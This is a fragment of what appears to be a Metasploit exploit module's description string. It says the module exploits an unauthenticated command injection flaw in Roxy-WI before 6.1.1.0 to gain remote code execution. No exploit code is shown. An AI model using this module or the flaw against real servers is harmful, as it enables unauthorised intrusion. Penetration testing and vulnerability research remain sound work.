'Description' => %q{
This module exploits an unauthenticated command injection vulnerability in Roxy-WI
prior to version 6.1.1.0. Successful exploitation results in remote code execution
under the context of the web server user.
Roxy-WI is an interface for managing HAProxy, Nginx and Keepalived servers.
